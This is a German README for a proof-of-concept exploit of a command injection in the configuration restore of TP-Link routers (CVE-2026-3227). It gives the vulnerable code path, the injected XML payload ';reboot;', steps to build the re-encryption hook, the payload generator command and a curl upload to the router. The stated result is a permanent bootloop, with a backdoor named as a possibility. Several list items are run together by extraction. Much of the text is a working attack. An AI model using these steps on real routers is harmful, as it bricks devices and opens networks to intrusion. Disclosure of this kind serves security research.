
Weitere Informationen finden Sie unter https://www.cve.org/CVERecord?id=CVE-2026-3227
Eine persistente, authentifizierte OS-Befehlsinjektion-Schwachstelle in der TP-Link-Router-Firmware, die zu Geräteausfall (Bricking) oder potenzieller LAN-Übernahme führen kann.
Haftungsausschluss: Dieses Repository enthält Proof-of-Concept (PoC)-Code für eine gepatchte Schwachstelle. Es dient nur zu Bildungszwecken und für Sicherheitsforscher.
Eine Befehlsinjektions-Schwachstelle existiert im Konfigurations-Backup/Wiederherstellungsmechanismus mehrerer TP-Link-Router (einschließlich TL-WR802N, TL-WR841N und TL-WR840N). Ein Angreifer mit Administratorzugriff kann die Konfiguration des Routers herunterladen, entschlüsseln, einen bösartigen OS-Befehl (maximal 15 Zeichen) in bestimmte XML-Felder injizieren, wieder verschlüsseln und zurück auf das Gerät hochladen.
Wenn der Router die Konfiguration anwendet (z. B. bei Port-Trigger-Ereignissen oder beim Start), wird die injizierte Nutzlast als Root ausgeführt. Dies kann verwendet werden, um eine persistente Bootschleife zu verursachen (dauerhaftes Bricking des Geräts, das auch Werksresets übersteht) oder möglicherweise eine persistente Hintertür für LAN-Pivoting zu ermöglichen.
Während ich die Konfigurations-Backup-Funktion des Routers erkundete, entschied ich mich, die httpd-Binärdatei und die libcmm.so-Bibliothek zu reverse-engineeren, um zu verstehen, wie Konfigurationsdateien verschlüsselt und geparst werden.
qemu-user und hookte die originale httpd-Binärdatei des Routers zur Laufzeit (create_config.c). Dies erlaubte mir, die nativen Verschlüsselungsfunktionen des Routers direkt von meinem Python-PoC aus aufzurufen und so das ursprüngliche Verschlüsselungsformat perfekt nachzuahmen.Die Schwachstelle liegt darin, wie das Produkt den verschlüsselten Konfigurationsblob parst und zur Laufzeit anwendet. Im Port-Trigger-Konfigurationspfad erstellt die Implementierung Shell-Befehle mit benutzerkontrollierbaren Feldern ohne ordnungsgemäße Bereinigung.
Insbesondere ruft die Funktion oal_pt_addPortTrigger auf:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
Der Formatstring %s wird mit einem Interface-String (X_TP_IfName) gefüllt, der direkt aus der hochgeladenen XML-Konfiguration geparst wird.
Der Ausführungsablauf:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger ruft forward_parsePtOpenPort auf, um Portlisten zu parsen.iptables-Befehlsstring und führt ihn über util_execSystem aus (das system() kapselt).Indem die entschlüsselte XML so modifiziert wird, dass sie Folgendes enthält:
<X_TP_IfName val=";reboot;"/>
Der Befehl wird während der Interface-Initialisierung beim Start oder bei einem Port-Trigger-Ereignis ausgeführt. Da die Nutzlast auf 15 Zeichen begrenzt ist, erfordert das Erstellen des Exploits kompakte Befehlausführungstechniken.
Um die Verbreitung urheberrechtlich geschützter TP-Link-Binärdateien zu vermeiden, erfordert dieser PoC, dass Sie das Dateisystem des Routers selbst extrahieren, um die nativen Verschlüsselungsbibliotheken über einen benutzerdefinierten QEMU-Hook zu nutzen.
qemu-mipsel und ein Cross-Compiler (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root-Verzeichnis in 'python_utils/' dieses Projekts.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin) herunter.python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
*Note: Payload must not exceed 15 characters.*
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root ausgeführt. Wenn Sie ;reboot; verwendet haben, startet der Router sofort neu und gerät in eine persistente Bootschleife.